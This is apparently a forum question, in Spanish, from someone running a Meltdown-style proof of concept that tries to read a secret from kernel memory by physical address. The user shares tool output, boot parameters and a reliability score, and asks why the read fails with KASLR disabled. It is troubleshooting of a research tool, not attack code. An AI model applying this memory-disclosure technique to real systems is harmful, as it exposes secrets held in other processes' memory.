Trabajando con este PoC
Ejecutándolo:
# ./secret
[+] Secret: Sample text
[+] Virtual address of secret: 0x4af528
[+] Physical address of secret: 0x172bc3528
[+] Exit with Ctrl+C if you are done reading the secret
Sin embargo, la lectura no muestra nada:
$ ./physical_reader 0x172bc3528
[+] Physical address : 0x172bc3528
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880172bc3528
Tengo KASLR deshabilitado.
BOOT_IMAGE=/boot/vmlinuz-4.4.0-93-generic root=UUID=6c2b06f8-b8dd-4117-a77e-2425b27fb749 ro quiet splash crashkernel=384M-2G:128M,2G-:256M vt.handoff=7
La prueba de confiabilidad funciona bien:
# ./reliability
[-] Success rate: 99.40% (read 166 values)
¿Alguien tiene una idea de por qué no puede leer la dirección de memoria de un secreto?
Sin KASLR, el desplazamiento físico permanecerá siempre 0xffff880000000000, ¿verdad?
Gracias,